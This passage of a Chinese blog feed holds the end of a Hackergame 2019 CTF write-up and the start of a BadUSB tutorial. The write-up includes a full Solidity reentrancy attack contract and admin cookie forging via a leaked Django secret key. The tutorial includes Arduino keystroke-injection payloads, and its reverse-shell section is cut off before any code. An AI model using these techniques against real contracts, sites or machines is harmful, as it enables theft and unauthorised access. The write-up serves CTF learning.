\u8fd9\u4e2a\u5c31\u662f\u6e90\u4ee3\u7801\u91cc\u9762\u7684secret<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac\n\n-----Encoded View---------------\n1 Constructor Arguments found :\nArg [0] : 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u628a\u8fd9\u4e2a\u653e\u5230flag\u7684\u751f\u6210\u903b\u8f91\u91cc\u9762\u53bb<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n<\/pre><\/td><td class=\"rouge-code\"><pre>secret = 0x000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac\nh = [None]*32\nfor i in range(32):\n    b = (secret&gt;&gt;(4*i))&amp;0xf\n    h[31-i] = b+48 if b&lt;10 else b+87\n    \nprint(\"flag:\", \"\".join([chr(i) for i in h]))\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>flag: 0175bddc0da1bd47369c47861f48c8ac\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u8fbe\u62c9\u5d29\u5427\u5927\u5192\u9669\">\u8fbe\u62c9\u5d29\u5427\u5927\u5192\u9669<\/h1>\n<p>\u53bb\u6599\u7406\u5e02\u573a\u4e70\u4e1c\u897f\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u8f93\u5165\u8d1f\u6570\uff0c\u53ef\u4ee5\u731c\u6d4b\u8fd9\u91cc\u6ca1\u6709\u505a\u5904\u7406<\/p>\n\n<p>\u53ef\u4ee5\u8bd5\u8bd5\u9020\u6210\u6ea2\u51fa<\/p>\n\n<p>\u5c1d\u8bd5\u4e86 <code class=\"language-plaintext highlighter-rouge\">-2**60<\/code> \u6b21\u65b9\u53ef\u4ee5\u6b63\u5e38\u8d2d\u4e70\uff0c <code class=\"language-plaintext highlighter-rouge\">-2**61<\/code> \u6b21\u65b9\u5219\u4f1a\u9020\u6210\u5f02\u5e38<\/p>\n\n<p>\u4e8e\u662f\u4fee\u6539\u8d2d\u4e70\u7684\u6570\u91cf\u4e3a<code class=\"language-plaintext highlighter-rouge\">-2305843009213693952<\/code>\uff0c\u641e\u5b9a<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre>Name:\n\u8fbe\u62c9\u5d29\u5427\u6591\u5f97\u8d1d\u8fea\u535c\u591a\u6bd4\u9c81\u7fc1\n\nMoney:\n4611686018427388000\n\nAttack:\n6917529027641082000\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u7136\u540e\u70b9\u653b\u6253\u6076\u9f99\uff0c\u6253\u8d25\u4e4b\u540e\u70b9\u8981flag<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n62\n63\n64\n65\n<\/pre><\/td><td class=\"rouge-code\"><pre>\u65c1\u767d:\n\u8fdb\u5165\u540c\u6b65\uff01\n\n\u8499\u8fbe\u9c81\u514b\u786b\u65af\u4f2f\u53e4\u6bd4\u5947\u5df4\u52d2\u57ce\u95e8\u536b:\n\u7ad9\u4f4f\uff01\u8fdb\u95e8\u6536\u94b1\uff01\u4e00\u4eba50\u5143\uff0c\u7ae5\u53df\u65e0\u6b3a\uff01\u4e0d\u8fdb\u7684\u8d70\u5f00\uff0c\u8981\u8fdb\u7684\u901f\u901f\u62a5\u4e0a\u59d3\u540d\uff01\n\n\u6211:\n\u6211\u662f\u8fbe\u62c9\u5d29\u5427\u6591\u5f97\u8d1d\u8fea\u535c\u591a\u6bd4\u9c81\u7fc1\uff0c\u6211\u4ece\u5343\u91cc\u4e4b\u5916\uff0c\u524d\u6765\u5e2e\u52a9\u56fd\u738b\u6551\u56de\u516c\u4e3b\u3002\n\n\u56fd\u738b:\n\u6101\u554a\uff0c\u6101\u554a\uff01\u7231\u5973\u7c73\u5a05\u83ab\u62c9\u82cf\u5a1c\u4e39\u59ae\u8c22\u8389\u7ea2\u7adf\u88ab\u90a3\u6076\u9f99\u5e26\u8d70\u4e86\u3002\n\n\u56fd\u738b:\n\u82e5\u662f\u6709\u54ea\u4f4d\u52c7\u58eb\u80fd\u591f\u6253\u8d25\u6076\u9f99\uff0c\u5927\u5927\u6ef4\u6709\u8d4f\u8d50\n\n\u6211:\n\u6211\u8fbe\u62c9\u5d29\u5427\u6591\u5f97\u8d1d\u8fea\u535c\u591a\u6bd4\u9c81\u7fc1\uff0c\u613f\u610f\u8de8\u8fc7\u5c71\u4e0e\u5927\u6d77\uff0c\u53bb\u4f1a\u4f1a\u90a3\u6076\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e\u3002\n\n\u56fd\u738b:\n\u597d\uff01\uff01\u82e5\u4f60\u6210\u529f\u6551\u5f97\u516c\u4e3b\uff0c\u6211\u8d50\u4f60\u9ec4\u91d1\u4e07\u4e24\u3002\n\n\u65c1\u767d:\n\u63a5\u4e0b\u6765\uff0c\u4f60\u60f3\u53bb\u54ea\u91cc\u5462\uff1f\n\n\u6211:\n\u6599\u7406\u5927\u5e02\u573a\n\n\u9694\u58c1\u738b\u5927\u5988:\n\u8d70\u8fc7\u8def\u8fc7\u4e0d\u8981\u9519\u8fc7\uff0c\u8fd9\u91cc\u6709\u9c9c\u7f8e\u9999\u8106\u53ef\u53e3\u7518\u751c\u73b0\u70b8\u7ae5\u5b50\u9e21\uff0c\u6709\u6548\u63d0\u5347\u653b\u51fb\u529b\uff0c\u73b0\u5728\u53ea\u8981\u4e24\u5143\u94b1\uff0c\u4e24\u5757\u94b1\uff0c\u4f60\u4e70\u4e0d\u4e86\u5403\u4e8f\uff0c\u4e70\u4e0d\u4e86\u4e0a\u5f53\u3002\u8fd9\u4f4d\u5ba2\u5b98\uff0c\u4f60\u8981\u6765\u51e0\u53ea\u554a\uff1f\n\n\u65c1\u767d:\n\u4f60\u611f\u89c9\u81ea\u5df1\u6d51\u8eab\u5145\u6ee1\u4e86\u5e72\u52b2\n\n\u65c1\u767d:\n\u63a5\u4e0b\u6765\uff0c\u4f60\u60f3\u53bb\u54ea\u91cc\u5462\uff1f\n\n\u6211:\n\u53bb\u6076\u9f99\u6d1e\u7a74\n\n\u5de8\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e:\n\u6211\u662f\u6076\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e\n\n\u6211:\n\u4f60\u662f\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e\uff1f\n\n\u5de8\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e:\n\u6211\u662f\u6076\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e!\u6211\u7684\u653b\u51fb\u529b\u53ef\u662f64403333\uff0c\u770b\u62db\n\n\u65c1\u767d:\n\u7830\u7830\u7830\uff01\u53ed\u53ed\u53ed\uff01\u606d\u559c\u4f60\uff0c\u6218\u80dc\u4e86\u5de8\u9f99\u6606\u56fe\u5e93\u5854\u5361\u63d0\u8003\u7279\u82cf\u74e6\u897f\u62c9\u677e\uff01\n\n\u56fd\u738b:\n\u554a\uff01\u6211\u7684\u52c7\u58eb\u8fbe\u62c9\u5d29\u5427\u6591\u5f97\u8d1d\u8fea\u535c\u591a\u6bd4\u9c81\u7fc1\uff0c\u4f60\u6551\u4e86\u6211\u7684\u516c\u4e3b\u7c73\u5a05\u83ab\u62c9\u82cf\u5a1c\u4e39\u59ae\u8c22\u8389\u7ea2\uff01\u4f60\u60f3\u8981\u4ec0\u4e48\u5956\u52b1\uff1f\n\n\u6211:\nflag\n\n\u56fd\u738b:\n\u597d\uff01\u6210\u5168\u4f60\uff01\n\n\u7cfb\u7edf:\nflag{what_an_amazing_dream}\n\n\u65c1\u767d:\n\u5931\u53bb\u540c\u6b65\uff01\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u9898\u76ee\u7684\u5267\u60c5\u662f\u771f\u7684\u6709\u610f\u601d 233333<\/p>\n\n<h1 id=\"\u97ed\u83dc\u7b2c\u4e8c\u9898\">\u97ed\u83dc\u7b2c\u4e8c\u9898<\/h1>\n<p>\u518d\u8bf4\u4e00\u904d\uff0c\u4e01\u5927\u4f6cnb<\/p>\n\n<p>The Dao\u653b\u51fb<\/p>\n\n<p>\u53bb<code class=\"language-plaintext highlighter-rouge\">https:\/\/remix.ethereum.org\/#optimize=false&amp;evmVersion=null&amp;version=soljson-v0.4.26+commit.4563c3fc.js<\/code>\u5199\u4ee3\u7801\uff0c\u65b0\u5efa\u4e00\u4e2a<code class=\"language-plaintext highlighter-rouge\">MyContract<\/code>\uff0c\u7136\u540e\u70b9\u51fb\u6307\u5b9a\u7248\u672c\u7684\u667a\u80fd\u5408\u7ea6\u8fdb\u884c\u7f16\u8bd1<\/p>\n\n<p>\u586b\u5199JCbank\u7684\u5408\u7ea6\u5730\u5740\uff0c\u7136\u540e\u90e8\u7f72<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n62\n63\n64\n65\n66\n67\n68\n69\n70\n71\n72\n73\n<\/pre><\/td><td class=\"rouge-code\"><pre>pragma solidity ^0.4.26;\n\ncontract JCBank {\n    mapping (address =&gt; F) public balance;\n    mapping (uint =&gt; bool) public got_flag;\n    uint128 secret;\n\n    constructor (uint128 init_secret) public {\n        secret = init_secret;\n    }\n\n    function deposit() public payable {\n        balance[msg.sender] += msg.value;\n    }\n\n    function withdraw(uint amount) public {\n        require(balance[msg.sender] &gt;= amount);\n        msg.sender.call.value(amount)();\n        balance[msg.sender] -= amount;\n    }\n\n    function get_flag_1(uint128 guess) public view returns(string) {\n        require(guess == secret);\n\n        bytes memory h = new bytes(32);\n        for (uint i = 0; i &lt; 32; i++) {\n            uint b = (secret &gt;&gt; (4 * i)) &amp; 0xF;\n            if (b &lt; 10) {\n                h[31 - i] = byte(b + 48);\n            } else {\n                h[31 - i] = byte(b + 87);\n            }\n        }\n        return string(abi.encodePacked(\"flag{\", h, \"}\"));\n    }\n\n    function get_flag_2(uint user_id) public {\n        require(balance[msg.sender] &gt; 1000000000000 ether);\n        got_flag[user_id] = true;\n        balance[msg.sender] = 0;\n    }\n    \n    \n    \n}\n\ncontract MyContract {\n    JCBank c;\n    address owner;\n    uint public number;\n    \n    function MyContract(address _c) public payable {\n        c = JCBank(_c);\n        owner = msg.sender;\n        c.deposit.value(msg.value)();\n    }\n    function() public payable {\n        number++;\n        uint weHave=0.1 ether;\n        c.withdraw(weHave);\n    }\n    \n    function attack() public {\n        c.withdraw(0);\n    }\n    function getmoney() public {\n        owner.transfer(this.balance);\n    }\n    function end() public {\n        uint x = 1076008070892;\n        c.get_flag_2(x);\n    }\n}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5148\u8f6c\u8d26\uff0c\u7136\u540e\u653b\u51fb\n\u7a0d\u7b49\u4e00\u4f1a\u513f\u8fd0\u884cend<\/p>\n\n<h1 id=\"\u6cc4\u9732\u7684\u59dc\u6208\">\u6cc4\u9732\u7684\u59dc\u6208<\/h1>\n\n<p>github\u628a\u4ee3\u7801\u4e0b\u8f7d\u4e0b\u6765\uff0c\u6539\u4e00\u4e0b<code class=\"language-plaintext highlighter-rouge\">views.py<\/code>\u91cc\u9762\u7684\u4ee3\u7801\uff0c\u8ba9\u4ed6\u8fd4\u56deadmin\u767b\u5f55\u65f6\u5019\u7684cookie\uff0c\u7136\u540e\u7528\u8fd9\u4e2acookie\u767b\u5f55\u9898\u76ee\u5c31\u884c\u4e86<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n<\/pre><\/td><td class=\"rouge-code\"><pre>from django.contrib.auth.models import User\n\ndef index(request):\n    if request.method == \"GET\":\n        if request.user.is_authenticated:\n            return redirect(reverse(\"profile\"))\n        return render(request, 'app\/index.html', {\n            # \"name\": \"admin\"\n            \"name\": name\n        })\n    elif request.method == \"POST\":\n        username = request.POST[\"username\"]\n        password = request.POST[\"password\"]\n        user = authenticate(request, username=username, password=password)\n        if user is not None:\n            # login(request, user)\n            u = User.objects.get(username='admin')   # \u6dfb\u52a0\u8fd9\u884c\u548c\u4e0b\u4e00\u884c\n            login(request, u)\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5176\u4e2d\u4fee\u6539\u7684\u662f<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>            u = User.objects.get(username='admin')   # \u6dfb\u52a0\u8fd9\u884c\u548c\u4e0b\u4e00\u884c\n            login(request, u)\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8fd9\u4e24\u884c\u4f1a\u5728\u7528\u6237\u4f7f\u7528guest\u767b\u5f55\u7684\u65f6\u5019\u4ecd\u7136\u8fd4\u56deadmin\u7684\u4fe1\u606f\uff0c\u56e0\u4e3a\u8fd9\u4e2acookie\u4fe1\u606f\u662f\u7ecf\u8fc7secert_key\u7b7e\u540d\u4e86\u7684\uff0c\u6240\u4ee5\u5728\u9898\u76ee\u670d\u52a1\u5668\u91cc\u9762\u4e5f\u53ef\u4ee5\u7528<\/p>\n\n<p>\u590d\u5236\u8fd9\u4e2acookie\u5230\u9898\u76ee\u91cc\u9762\uff0c\u91cd\u4e0b\u65b0\u8bf7\u6c42\u4e00\u4e0b\u5c31\u7ed9flag\u4e86<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>flag{Never_leak_your_sEcReT_KEY}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6700\u521d\u4ee5\u4e3a\u662f\u6cc4\u9732secert_key\u5bfc\u81f4RCE\uff0c\u4f46\u662f\u8bd5\u4e86\u4e4b\u540e\u53d1\u73b0\u4e0d\u884c \u7136\u540e\u5c1d\u8bd5\u6784\u9020cookie\uff0c\u5206\u6790django\u6e90\u7801\u91cc\u9762cookie\u7684\u903b\u8f91 \u7a0d\u5fae\u6709\u70b9\u9ebb\u70e6\u61d2\u5f97\u53bb\u770b\uff0c\u8bd5\u4e86\u8bd5\u672c\u5730\u76f4\u63a5\u8ba9\u7a0b\u5e8f\u4f7f\u7528admin\u767b\u5f55\uff0c\u7136\u540e\u628acookie\u653e\u5230\u7ebf\u4e0a\u9898\u76ee\u91cc\u9762\uff0c\u8bbf\u95ee\u5f97flag<\/p>\n\n<h1 id=\"\u4e09\u6559\u5947\u5999\u591c\">\u4e09\u6559\u5947\u5999\u591c<\/h1>\n<p>\u62c6\u5f00\u89c6\u9891\u6210\u56fe\u7247<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>ffmpeg -i output.mp4 frame_%09d.jpg \n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u6587\u4ef6\u6bd4\u8f83\u591a \u89c2\u5bdf\u4e86\u4e00\u4e0b\u65e0\u7528\u56fe\u7247\u7684\u5927\u5c0f\u90fd\u5728<code class=\"language-plaintext highlighter-rouge\">5000B<\/code>\u5de6\u53f3\uff0c\u542b\u6709<code class=\"language-plaintext highlighter-rouge\">flag<\/code>\u7684\u9875\u9762\u5927\u5c0f\u4e0d\u540c\uff0c\u4e8e\u662f\u53ef\u4ee5\u8fb9\u5199\u8fb9\u5220<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n<\/pre><\/td><td class=\"rouge-code\"><pre>In [36]: def delete():\n    ...:     count = 0\n    ...:     for i in os.listdir('night'):\n    ...:         count += 1\n    ...:         if 4969&lt;os.path.getsize('night\/'+i)&lt;5100:\n    ...:             os.remove('night\/'+i)\n    ...: \n    \nIn [36]: for i in range(1000000):\n    ...:     delete()\n    ...:     time.sleep(10)\n    ...:     print(\"again\", i)\n    ...: \n    ...: \n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6253\u5f00\u5c31\u770b\u5230flag\u4e86<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>flag{ViDe0_prOcE55_with_program_1s_eaSy}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u9644\u5f55\">\u9644\u5f55<\/h1>\n<p>\u5b98\u65b9writeup \nhttps:\/\/github.com\/ustclug\/hackergame2019-writeups<\/p>\n","pubDate":"Tue, 22 Oct 2019 06:57:51 +0000","link":"https:\/\/iansmith123.github.io\/2019\/10\/22\/ustc-hackgame-2019\/","guid":"https:\/\/iansmith123.github.io\/2019\/10\/22\/ustc-hackgame-2019\/","category":["websecurity","writeup","ctf"]},{"title":"badusb\u8bd5\u73a9","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n<p>\u677f\u5b50\u7528\u7684beetle usb atmega32u4<\/p>\n\n<p>\u81ea\u5e26usb\u63a5\u53e3\uff0c\u6bd4\u8f83\u4fbf\u5b9c\uff0c\u4ee5\u524d\u770b\u8fc7\u591a\u6b3ebadusb\u7684\u677f\u5b50\uff0c\u4f46\u662f\u90fd\u56e0\u4e3a\u6bd4\u8f83\u8d35\u800c\u653e\u5f03\uff0c\u76f4\u5230\u524d\u4e24\u5929hx\u8bf4\u4e86\u8fd9\u4e2a\u677f\u5b50\u4e5f\u53ef\u4ee5\uff0c\u4e8e\u662f\u679c\u65ad\u4e0b\u5355\u3002<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20190806-204731.png\" alt=\"\" \/><\/p>\n\n<p>\u677f\u5b50\u7c7b\u578b\u9009\u62e9arduino leonardo\uff0c\u7f16\u8bd1\u4e0a\u4f20\u5373\u53ef\n<img src=\"http:\/\/static.scuseek.com\/20190806-204939.png\" alt=\"\" \/><\/p>\n\n<h1 id=\"\u4e0a\u624b\u8bd5\u73a9\">\u4e0a\u624b\u8bd5\u73a9<\/h1>\n<p>\u4ee3\u7801\u5f88\u7b80\u5355\uff0c\u4e00\u770b\u5c31\u61c2\u3002<\/p>\n\n<h2 id=\"windows\u5f39\u8ba1\u7b97\u5668\">windows\u5f39\u8ba1\u7b97\u5668<\/h2>\n\n<div class=\"language-c highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;Keyboard.h&gt;<\/span><span class=\"cp\">\n<\/span>\n<span class=\"kt\">void<\/span> <span class=\"nf\">setup<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your setup code here, to run once:<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">begin<\/span><span class=\"p\">();<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">2000<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"sc\">'r'<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"sc\">'r'<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">println<\/span><span class=\"p\">(<\/span><span class=\"s\">\"calc\"<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>  \n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">void<\/span> <span class=\"nf\">loop<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your main code here, to run repeatedly:<\/span>\n\n<span class=\"p\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h2 id=\"ubuntu-\u5f00\u7ec8\u7aef\">ubuntu \u5f00\u7ec8\u7aef<\/h2>\n<div class=\"language-c highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;Keyboard.h&gt;<\/span><span class=\"cp\">\n<\/span>\n<span class=\"kt\">void<\/span> <span class=\"nf\">setup<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your setup code here, to run once:<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">begin<\/span><span class=\"p\">();<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">2000<\/span><span class=\"p\">);<\/span>\n<span class=\"cm\">\/*\n  Keyboard.press(KEY_LEFT_CTRL);\n  delay(500);\n  Keyboard.press(KEY_LEFT_ALT);\n  delay(500);\n  Keyboard.press('T');\n  delay(500);\n  Keyboard.release('T');\n  *\/<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">println<\/span><span class=\"p\">(<\/span><span class=\"s\">\"term\"<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n\n\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">println<\/span><span class=\"p\">(<\/span><span class=\"s\">\"echo hacked\"<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">void<\/span> <span class=\"nf\">loop<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your main code here, to run repeatedly:<\/span>\n\n<span class=\"p\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h2 id=\"ubuntu\u53cd\u5f39shell\">ubuntu\u53cd\u5f39shell<\/h2>\n<div class=\"language-c highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre 